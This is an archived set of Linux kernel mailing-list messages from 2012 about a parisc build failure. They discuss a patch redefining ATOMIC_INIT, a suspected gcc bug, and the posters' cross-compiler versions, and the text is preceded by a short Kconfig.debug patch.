 lib/Kconfig.debug | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
index ff5bdee..4a18650 100644
--- a/lib/Kconfig.debug
+++ b/lib/Kconfig.debug
@@ -714,7 +714,7 @@ config STACKTRACE
 
 config DEBUG_STACK_USAGE
 	bool "Stack utilization instrumentation"
-	depends on DEBUG_KERNEL
+	depends on DEBUG_KERNEL && !IA64 && !PARISC
 	help
 	  Enables the display of the minimum amount of free stack which each
 	  task has ever had available in the sysrq-T and sysrq-P debug output.
-- 
1.7.10.2.552.gaa3bb87

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.janitors,gmane.linux.ports.parisc
Subject: Re: [next:akpm 129/309] net/core/sock.c:274:36: error: initializer
 element is not constant
Date: Mon, 23 Jul 2012 12:20:20 +0100
Lines: 79
Approved: news@gmane.org
Message-ID: <1343042420.3027.11.camel@dabdike.int.hansenpartnership.com>
References: <20120722163058.GB13376@localhost>
	 <20120723111619.GT9222@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1343042437 17370 80.91.229.3 (23 Jul 2012 11:20:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 23 Jul 2012 11:20:37 +0000 (UTC)
Cc: Fengguang Wu <fengguang.wu@intel.com>,
	kernel-janitors@vger.kernel.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Mel Gorman <mgorman@suse.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jul 23 13:20:35 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1StGgk-00037E-RT
	for glk-linux-kernel-3@plane.gmane.org; Mon, 23 Jul 2012 13:20:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752566Ab2GWLU1 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 23 Jul 2012 07:20:27 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40552 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752263Ab2GWLUZ (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 23 Jul 2012 07:20:25 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A454C8EE144;
	Mon, 23 Jul 2012 04:20:24 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id E1zMOIPVD2gX; Mon, 23 Jul 2012 04:20:24 -0700 (PDT)
Original-Received: from [10.234.27.60] (unknown [217.41.238.220])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 0D4738EE092;
	Mon, 23 Jul 2012 04:20:22 -0700 (PDT)
In-Reply-To: <20120723111619.GT9222@suse.de>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1331710 gmane.linux.kernel.janitors:25186 gmane.linux.ports.parisc:4499
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1331710>

[Parisc list cc added]
On Mon, 2012-07-23 at 12:16 +0100, Mel Gorman wrote:
> On Mon, Jul 23, 2012 at 12:30:58AM +0800, Fengguang Wu wrote:
> > Hi Mel,
> > 
> > To be frank, I don't quite understand this build failure..
> > 
> > tree:   next/akpm akpm
> > head:   37e2ad4953983527f7bdb6831bf478eedcc84082
> > commit: 799dc3a908b1df8b766c35aefc24c1b5356aa051 [129/309] netvm: allow skb allocation to use PFMEMALLOC reserves
> > config: parisc-defconfig (attached as .config)
> > 
> > All related error/warning messages:
> > 
> > net/core/sock.c:274:36: error: initializer element is not constant
> > net/core/sock.c:274:36: error: (near initialization for 'memalloc_socks')
> > net/core/sock.c:274:36: error: initializer element is not constant
> > 
> 
> It looks parisc specific so am adding some parisc because this builds but
> I am less sure if it is actually correct. If it's correct, it should be
> appear before the swap-over-nfs patches to avoid bisection problems.
> I've added some parisc folk for review.
> 
> ---8<---
> parisc: Redefine ATOMIC_INIT and ATOMIC64_INIT like other architectures
> 
> The following build error occured during a parisc build with
> swap-over-NFS patches applied.
> 
> net/core/sock.c:274:36: error: initializer element is not constant
> net/core/sock.c:274:36: error: (near initialization for 'memalloc_socks')
> net/core/sock.c:274:36: error: initializer element is not constant
> 
> It's not obvious but this is due to how ATOMIC_INIT is defined on
> parisc. It should affect any user of STATIC_KEY_INIT_FALSE on that
> platform.
> 
> This patch makes the definition of ATOMIC_INIT on parisc to look like
> other arches definition.
> 
> Reported-by: Fengguang Wu <fengguang.wu@intel.com>
> Signed-off-by: Mel Gorman <mgorman@suse.de>
> ---
>  arch/parisc/include/asm/atomic.h |    4 ++--
>  1 file changed, 2 insertions(+), 2 deletions(-)
> 
> diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
> index 6c6defc..af9cf30 100644
> --- a/arch/parisc/include/asm/atomic.h
> +++ b/arch/parisc/include/asm/atomic.h
> @@ -141,7 +141,7 @@ static __inline__ int __atomic_add_unless(atomic_t *v, int a, int u)
>  
>  #define atomic_sub_and_test(i,v)	(atomic_sub_return((i),(v)) == 0)
>  
> -#define ATOMIC_INIT(i)	((atomic_t) { (i) })
> +#define ATOMIC_INIT(i)	{ (i) }
>  
>  #define smp_mb__before_atomic_dec()	smp_mb()
>  #define smp_mb__after_atomic_dec()	smp_mb()
> @@ -150,7 +150,7 @@ static __inline__ int __atomic_add_unless(atomic_t *v, int a, int u)
>  
>  #ifdef CONFIG_64BIT
>  
> -#define ATOMIC64_INIT(i) ((atomic64_t) { (i) })
> +#define ATOMIC64_INIT(i) { (i) }
>  
>  static __inline__ s64
>  __atomic64_add_return(s64 i, atomic64_t *v)

OK, I don't understand this either ... why would not casting to the
appropriate type suddenly stop warning about the initialiser being non
constant.  It looks like some type of gcc bug to me.  Our toolchain
expert (Dave) hangs out on the parisc list ... he'll want to know your
gcc -v.

James



From - Thu Nov 08 21:08:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mel Gorman <mgorman@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: Re: [next:akpm 129/309] net/core/sock.c:274:36: error: initializer
 element is not constant
Date: Mon, 23 Jul 2012 12:42:58 +0100
Lines: 113
Approved: news@gmane.org
Message-ID: <20120723114258.GV9222@suse.de>
References: <20120722163058.GB13376@localhost>
 <20120723111619.GT9222@suse.de>
 <1343042420.3027.11.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: dough.gmane.org 1343043790 28795 80.91.229.3 (23 Jul 2012 11:43:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 23 Jul 2012 11:43:10 +0000 (UTC)
Cc: Fengguang Wu <fengguang.wu@intel.com>,
	kernel-janitors@vger.kernel.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 23 13:43:09 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1StH2a-000357-EK
	for glpp-linux-parisc@plane.gmane.org; Mon, 23 Jul 2012 13:43:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752565Ab2GWLnG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 23 Jul 2012 07:43:06 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:49898 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750854Ab2GWLnD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 23 Jul 2012 07:43:03 -0400
Original-Received: from relay2.suse.de (unknown [195.135.220.254])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx2.suse.de (Postfix) with ESMTP id AEEB7A329C;
	Mon, 23 Jul 2012 13:43:02 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1343042420.3027.11.camel@dabdike.int.hansenpartnership.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4500 gmane.linux.kernel.janitors:25187 gmane.linux.kernel:1331718
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4500>

On Mon, Jul 23, 2012 at 12:20:20PM +0100, James Bottomley wrote:
> [Parisc list cc added]
> On Mon, 2012-07-23 at 12:16 +0100, Mel Gorman wrote:
> > On Mon, Jul 23, 2012 at 12:30:58AM +0800, Fengguang Wu wrote:
> > > Hi Mel,
> > > 
> > > To be frank, I don't quite understand this build failure..
> > > 
> > > tree:   next/akpm akpm
> > > head:   37e2ad4953983527f7bdb6831bf478eedcc84082
> > > commit: 799dc3a908b1df8b766c35aefc24c1b5356aa051 [129/309] netvm: allow skb allocation to use PFMEMALLOC reserves
> > > config: parisc-defconfig (attached as .config)
> > > 
> > > All related error/warning messages:
> > > 
> > > net/core/sock.c:274:36: error: initializer element is not constant
> > > net/core/sock.c:274:36: error: (near initialization for 'memalloc_socks')
> > > net/core/sock.c:274:36: error: initializer element is not constant
> > > 
> > 
> > It looks parisc specific so am adding some parisc because this builds but
> > I am less sure if it is actually correct. If it's correct, it should be
> > appear before the swap-over-nfs patches to avoid bisection problems.
> > I've added some parisc folk for review.
> > 
> > ---8<---
> > parisc: Redefine ATOMIC_INIT and ATOMIC64_INIT like other architectures
> > 
> > The following build error occured during a parisc build with
> > swap-over-NFS patches applied.
> > 
> > net/core/sock.c:274:36: error: initializer element is not constant
> > net/core/sock.c:274:36: error: (near initialization for 'memalloc_socks')
> > net/core/sock.c:274:36: error: initializer element is not constant
> > 
> > It's not obvious but this is due to how ATOMIC_INIT is defined on
> > parisc. It should affect any user of STATIC_KEY_INIT_FALSE on that
> > platform.
> > 
> > This patch makes the definition of ATOMIC_INIT on parisc to look like
> > other arches definition.
> > 
> > Reported-by: Fengguang Wu <fengguang.wu@intel.com>
> > Signed-off-by: Mel Gorman <mgorman@suse.de>
> > ---
> >  arch/parisc/include/asm/atomic.h |    4 ++--
> >  1 file changed, 2 insertions(+), 2 deletions(-)
> > 
> > diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
> > index 6c6defc..af9cf30 100644
> > --- a/arch/parisc/include/asm/atomic.h
> > +++ b/arch/parisc/include/asm/atomic.h
> > @@ -141,7 +141,7 @@ static __inline__ int __atomic_add_unless(atomic_t *v, int a, int u)
> >  
> >  #define atomic_sub_and_test(i,v)	(atomic_sub_return((i),(v)) == 0)
> >  
> > -#define ATOMIC_INIT(i)	((atomic_t) { (i) })
> > +#define ATOMIC_INIT(i)	{ (i) }
> >  
> >  #define smp_mb__before_atomic_dec()	smp_mb()
> >  #define smp_mb__after_atomic_dec()	smp_mb()
> > @@ -150,7 +150,7 @@ static __inline__ int __atomic_add_unless(atomic_t *v, int a, int u)
> >  
> >  #ifdef CONFIG_64BIT
> >  
> > -#define ATOMIC64_INIT(i) ((atomic64_t) { (i) })
> > +#define ATOMIC64_INIT(i) { (i) }
> >  
> >  static __inline__ s64
> >  __atomic64_add_return(s64 i, atomic64_t *v)
> 
> OK, I don't understand this either ... why would not casting to the
> appropriate type suddenly stop warning about the initialiser being non
> constant.  It looks like some type of gcc bug to me. 

I agree. I could not see any functional difference as such either but also
could not figure out why gcc would get it right for some arches and not
for others.

> Our toolchain
> expert (Dave) hangs out on the parisc list ... he'll want to know your
> gcc -v.
> 

I'm using the cross-compiler from
ftp://ftp.kernel.org/pub/tools/crosstool/files/bin/x86_64/4.6.3/. I do
not know what compiler Fengguang Wu was using. 

Using built-in specs.
COLLECT_GCC=/home/mel/git-public/cross-compilers/gcc-4.6.3-nolibc/hppa-linux/bin/hppa-linux-gcc
COLLECT_LTO_WRAPPER=/home/mel/git-public/cross-compilers/gcc-4.6.3-nolibc/hppa-linux/bin/../libexec/gcc/hppa-linux/4.6.3/lto-wrapper
Target: hppa-linux
Configured with: /home/tony/buildall/src/gcc/configure
--target=hppa-linux --host=x86_64-linux-gnu --build=x86_64-linux-gnu
--enable-targets=all --prefix=/opt/cross/gcc-4.6.3-nolibc/hppa-linux/
--enable-languages=c --with-newlib --without-headers
--enable-sjlj-exceptions --with-system-libunwind --disable-nls
--disable-threads --disable-shared --disable-libmudflap --disable-libssp
--disable-libgomp --disable-decimal-float --enable-checking=release
--with-mpfr=/home/tony/buildall/src/sys-x86_64
--with-gmp=/home/tony/buildall/src/sys-x86_64 --disable-bootstrap
--disable-libquadmath
Thread model: single
gcc version 4.6.3 (GCC) 

-- 
Mel Gorman
SUSE Labs
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fengguang Wu <fengguang.wu@intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.janitors,gmane.linux.ports.parisc
Subject: Re: [next:akpm 129/309] net/core/sock.c:274:36: error: initializer
 element is not constant
Date: Mon, 23 Jul 2012 20:29:05 +0800
Lines: 127
Approved: news@gmane.org
Message-ID: <20120723122905.GA22476@localhost>
References: <20120722163058.GB13376@localhost>
 <20120723111619.GT9222@suse.de>
 <1343042420.3027.11.camel@dabdike.int.hansenpartnership.com>
 <20120723114258.GV9222@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1343046578 18761 80.91.229.3 (23 Jul 2012 12:29:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 23 Jul 2012 12:29:38 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	kernel-janitors@vger.kernel.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Mel Gorman <mgorman@suse.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jul 23 14:29:37 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1StHlV-0004W3-Rk
	for glk-linux-kernel-3@plane.gmane.org; Mon, 23 Jul 2012 14:29:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752886Ab2GWM3T (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 23 Jul 2012 08:29:19 -0400
Original-Received: from mga01.intel.com ([192.55.52.88]:18918 "EHLO mga01.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752423Ab2GWM3R (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Mon, 23 Jul 2012 08:29:17 -0400
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
  by fmsmga101.fm.intel.com with ESMTP; 23 Jul 2012 05:29:16 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.71,315,1320652800"; 
   d="scan'208";a="183999171"
Original-Received: from unknown (HELO wfg-t420.sh.intel.com) ([10.255.20.146])
  by fmsmga001.fm.intel.com with ESMTP; 23 Jul 2012 05:29:12 -0700
Original-Received: from wfg by wfg-t420.sh.intel.com with local (Exim 4.77)
	(envelope-from <fengguang.wu@intel.com>)
	id 1StHl3-0005vB-Jr; Mon, 23 Jul 2012 20:29:05 +0800
Content-Disposition: inline
In-Reply-To: <20120723114258.GV9222@suse.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1331730 gmane.linux.kernel.janitors:25188 gmane.linux.ports.parisc:4501
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1331730>

On Mon, Jul 23, 2012 at 12:42:58PM +0100, Mel Gorman wrote:
> On Mon, Jul 23, 2012 at 12:20:20PM +0100, James Bottomley wrote:
> > [Parisc list cc added]
> > On Mon, 2012-07-23 at 12:16 +0100, Mel Gorman wrote:
> > > On Mon, Jul 23, 2012 at 12:30:58AM +0800, Fengguang Wu wrote:
> > > > Hi Mel,
> > > > 
> > > > To be frank, I don't quite understand this build failure..
> > > > 
> > > > tree:   next/akpm akpm
> > > > head:   37e2ad4953983527f7bdb6831bf478eedcc84082
> > > > commit: 799dc3a908b1df8b766c35aefc24c1b5356aa051 [129/309] netvm: allow skb allocation to use PFMEMALLOC reserves
> > > > config: parisc-defconfig (attached as .config)
> > > > 
> > > > All related error/warning messages:
> > > > 
> > > > net/core/sock.c:274:36: error: initializer element is not constant
> > > > net/core/sock.c:274:36: error: (near initialization for 'memalloc_socks')
> > > > net/core/sock.c:274:36: error: initializer element is not constant
> > > > 
> > > 
> > > It looks parisc specific so am adding some parisc because this builds but
> > > I am less sure if it is actually correct. If it's correct, it should be
> > > appear before the swap-over-nfs patches to avoid bisection problems.
> > > I've added some parisc folk for review.
> > > 
> > > ---8<---
> > > parisc: Redefine ATOMIC_INIT and ATOMIC64_INIT like other architectures
> > > 
> > > The following build error occured during a parisc build with
> > > swap-over-NFS patches applied.
> > > 
> > > net/core/sock.c:274:36: error: initializer element is not constant
> > > net/core/sock.c:274:36: error: (near initialization for 'memalloc_socks')
> > > net/core/sock.c:274:36: error: initializer element is not constant
> > > 
> > > It's not obvious but this is due to how ATOMIC_INIT is defined on
> > > parisc. It should affect any user of STATIC_KEY_INIT_FALSE on that
> > > platform.
> > > 
> > > This patch makes the definition of ATOMIC_INIT on parisc to look like
> > > other arches definition.
> > > 
> > > Reported-by: Fengguang Wu <fengguang.wu@intel.com>
> > > Signed-off-by: Mel Gorman <mgorman@suse.de>
> > > ---
> > >  arch/parisc/include/asm/atomic.h |    4 ++--
> > >  1 file changed, 2 insertions(+), 2 deletions(-)
> > > 
> > > diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
> > > index 6c6defc..af9cf30 100644
> > > --- a/arch/parisc/include/asm/atomic.h
> > > +++ b/arch/parisc/include/asm/atomic.h
> > > @@ -141,7 +141,7 @@ static __inline__ int __atomic_add_unless(atomic_t *v, int a, int u)
> > >  
> > >  #define atomic_sub_and_test(i,v)	(atomic_sub_return((i),(v)) == 0)
> > >  
> > > -#define ATOMIC_INIT(i)	((atomic_t) { (i) })
> > > +#define ATOMIC_INIT(i)	{ (i) }
> > >  
> > >  #define smp_mb__before_atomic_dec()	smp_mb()
> > >  #define smp_mb__after_atomic_dec()	smp_mb()
> > > @@ -150,7 +150,7 @@ static __inline__ int __atomic_add_unless(atomic_t *v, int a, int u)
> > >  
> > >  #ifdef CONFIG_64BIT
> > >  
> > > -#define ATOMIC64_INIT(i) ((atomic64_t) { (i) })
> > > +#define ATOMIC64_INIT(i) { (i) }
> > >  
> > >  static __inline__ s64
> > >  __atomic64_add_return(s64 i, atomic64_t *v)
> > 
> > OK, I don't understand this either ... why would not casting to the
> > appropriate type suddenly stop warning about the initialiser being non
> > constant.  It looks like some type of gcc bug to me. 
> 
> I agree. I could not see any functional difference as such either but also
> could not figure out why gcc would get it right for some arches and not
> for others.

Will gcc create a temporary (and hence non constant) value for the
conversion?

> > Our toolchain
> > expert (Dave) hangs out on the parisc list ... he'll want to know your
> > gcc -v.
> > 
> 
> I'm using the cross-compiler from
> ftp://ftp.kernel.org/pub/tools/crosstool/files/bin/x86_64/4.6.3/. I do
> not know what compiler Fengguang Wu was using. 

Yeah that's handy binaries and I'm using them in the x86 compile
servers. However this particular parisc-defconfig is compile tested in
an ia64 machine which is built from debian's gcc-4.7 source:

Using built-in specs.
COLLECT_GCC=/opt/cross/bin/hppa-linux-gcc
COLLECT_LTO_WRAPPER=/opt/cross/libexec/gcc/hppa-linux/4.7/lto-wrapper
Target: hppa-linux
Configured with: /home/wfg/buildall/gcc-4.7-4.7.1/src/configure --target=hppa-linux --enable-targets=all --prefix=/opt/cross --enable-lang
uages=c --without-headers --enable-sjlj-exceptions --with-system-libunwind --disable-nls --disable-threads --disable-shared --disable-libmudflap --disable-libssp --disable-libgomp --disable-decimal-float --disable-libquadmath --enable-checking=release                         Thread model: single
gcc version 4.7.1 (GCC) 

Thanks,
Fengguang

> Using built-in specs.
> COLLECT_GCC=/home/mel/git-public/cross-compilers/gcc-4.6.3-nolibc/hppa-linux/bin/hppa-linux-gcc
> COLLECT_LTO_WRAPPER=/home/mel/git-public/cross-compilers/gcc-4.6.3-nolibc/hppa-linux/bin/../libexec/gcc/hppa-linux/4.6.3/lto-wrapper
> Target: hppa-linux
> Configured with: /home/tony/buildall/src/gcc/configure
> --target=hppa-linux --host=x86_64-linux-gnu --build=x86_64-linux-gnu
> --enable-targets=all --prefix=/opt/cross/gcc-4.6.3-nolibc/hppa-linux/
> --enable-languages=c --with-newlib --without-headers
> --enable-sjlj-exceptions --with-system-libunwind --disable-nls
> --disable-threads --disable-shared --disable-libmudflap --disable-libssp
> --disable-libgomp --disable-decimal-float --enable-checking=release
> --with-mpfr=/home/tony/buildall/src/sys-x86_64
> --with-gmp=/home/tony/buildall/src/sys-x86_64 --disable-bootstrap
> --disable-libquadmath
> Thread model: single
> gcc version 4.6.3 (GCC) 
> 
> -- 
> Mel Gorman
> SUSE Labs

From - Thu Nov 08 21:08:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.janitors,gmane.linux.ports.parisc
Subject: Re: [next:akpm 129/309] net/core/sock.c:274:36: error: initializer element is not constant
Date: Mon, 23 Jul 2012 11:13:23 -0400
Lines: 177
Approved: news@gmane.org
Message-ID: <BLU0-SMTP2254F8872DDE5FA6035CDE97DD0@phx.gbl>
References: <20120722163058.GB13376@localhost> <20120723111619.GT9222@suse.de> <1343042420.3027.11.camel@dabdike.int.hansenpartnership.com> <20120723114258.GV9222@suse.de> <20120723122905.GA22476@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1343056809 9305 80.91.229.3 (23 Jul 2012 15:20:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 23 Jul 2012 15:20:09 +0000 (UTC)
Cc: Mel Gorman <mgorman@suse.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	kernel-janitors@vger.kernel.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Fengguang Wu <fengguang.wu@intel.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jul 23 17:20:08 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1StKQZ-0005Qt-Ds
	for glk-linux-kernel-3@plane.gmane.org; Mon, 23 Jul 2012 17:20:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754192Ab2GWPTz (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 23 Jul 2012 11:19:55 -0400
Original-Received: from blu0-omc2-s16.blu0.hotmail.com ([65.55.111.91]:40523 "EHLO
	blu0-omc2-s16.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753327Ab2GWPTw (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 23 Jul 2012 11:19:52 -0400
X-Greylist: delayed 370 seconds by postgrey-1.27 at vger.kernel.org; Mon, 23 Jul 2012 11:19:52 EDT
Original-Received: from BLU0-SMTP22 ([65.55.111.73]) by blu0-omc2-s16.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 23 Jul 2012 08:13:41 -0700
X-Originating-IP: [174.92.93.236]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.93.236]) by BLU0-SMTP22.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 23 Jul 2012 08:13:39 -0700
In-Reply-To: <20120723122905.GA22476@localhost>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 23 Jul 2012 15:13:40.0099 (UTC) FILETIME=[BD93C530:01CD68E5]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1331829 gmane.linux.kernel.janitors:25190 gmane.linux.ports.parisc:4502
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1331829>

On 23-Jul-12, at 8:29 AM, Fengguang Wu wrote:

> On Mon, Jul 23, 2012 at 12:42:58PM +0100, Mel Gorman wrote:
>> On Mon, Jul 23, 2012 at 12:20:20PM +0100, James Bottomley wrote:
>>> [Parisc list cc added]
>>> On Mon, 2012-07-23 at 12:16 +0100, Mel Gorman wrote:
>>>> On Mon, Jul 23, 2012 at 12:30:58AM +0800, Fengguang Wu wrote:
>>>>> Hi Mel,
>>>>>
>>>>> To be frank, I don't quite understand this build failure..
>>>>>
>>>>> tree:   next/akpm akpm
>>>>> head:   37e2ad4953983527f7bdb6831bf478eedcc84082
>>>>> commit: 799dc3a908b1df8b766c35aefc24c1b5356aa051 [129/309]  
>>>>> netvm: allow skb allocation to use PFMEMALLOC reserves
>>>>> config: parisc-defconfig (attached as .config)
>>>>>
>>>>> All related error/warning messages:
>>>>>
>>>>> net/core/sock.c:274:36: error: initializer element is not constant
>>>>> net/core/sock.c:274:36: error: (near initialization for  
>>>>> 'memalloc_socks')
>>>>> net/core/sock.c:274:36: error: initializer element is not constant
>>>>>
>>>>
>>>> It looks parisc specific so am adding some parisc because this  
>>>> builds but
>>>> I am less sure if it is actually correct. If it's correct, it  
>>>> should be
>>>> appear before the swap-over-nfs patches to avoid bisection  
>>>> problems.
>>>> I've added some parisc folk for review.
>>>>
>>>> ---8<---
>>>> parisc: Redefine ATOMIC_INIT and ATOMIC64_INIT like other  
>>>> architectures
>>>>
>>>> The following build error occured during a parisc build with
>>>> swap-over-NFS patches applied.
>>>>
>>>> net/core/sock.c:274:36: error: initializer element is not constant
>>>> net/core/sock.c:274:36: error: (near initialization for  
>>>> 'memalloc_socks')
>>>> net/core/sock.c:274:36: error: initializer element is not constant
>>>>
>>>> It's not obvious but this is due to how ATOMIC_INIT is defined on
>>>> parisc. It should affect any user of STATIC_KEY_INIT_FALSE on that
>>>> platform.
>>>>
>>>> This patch makes the definition of ATOMIC_INIT on parisc to look  
>>>> like
>>>> other arches definition.
>>>>
>>>> Reported-by: Fengguang Wu <fengguang.wu@intel.com>
>>>> Signed-off-by: Mel Gorman <mgorman@suse.de>
>>>> ---
>>>> arch/parisc/include/asm/atomic.h |    4 ++--
>>>> 1 file changed, 2 insertions(+), 2 deletions(-)
>>>>
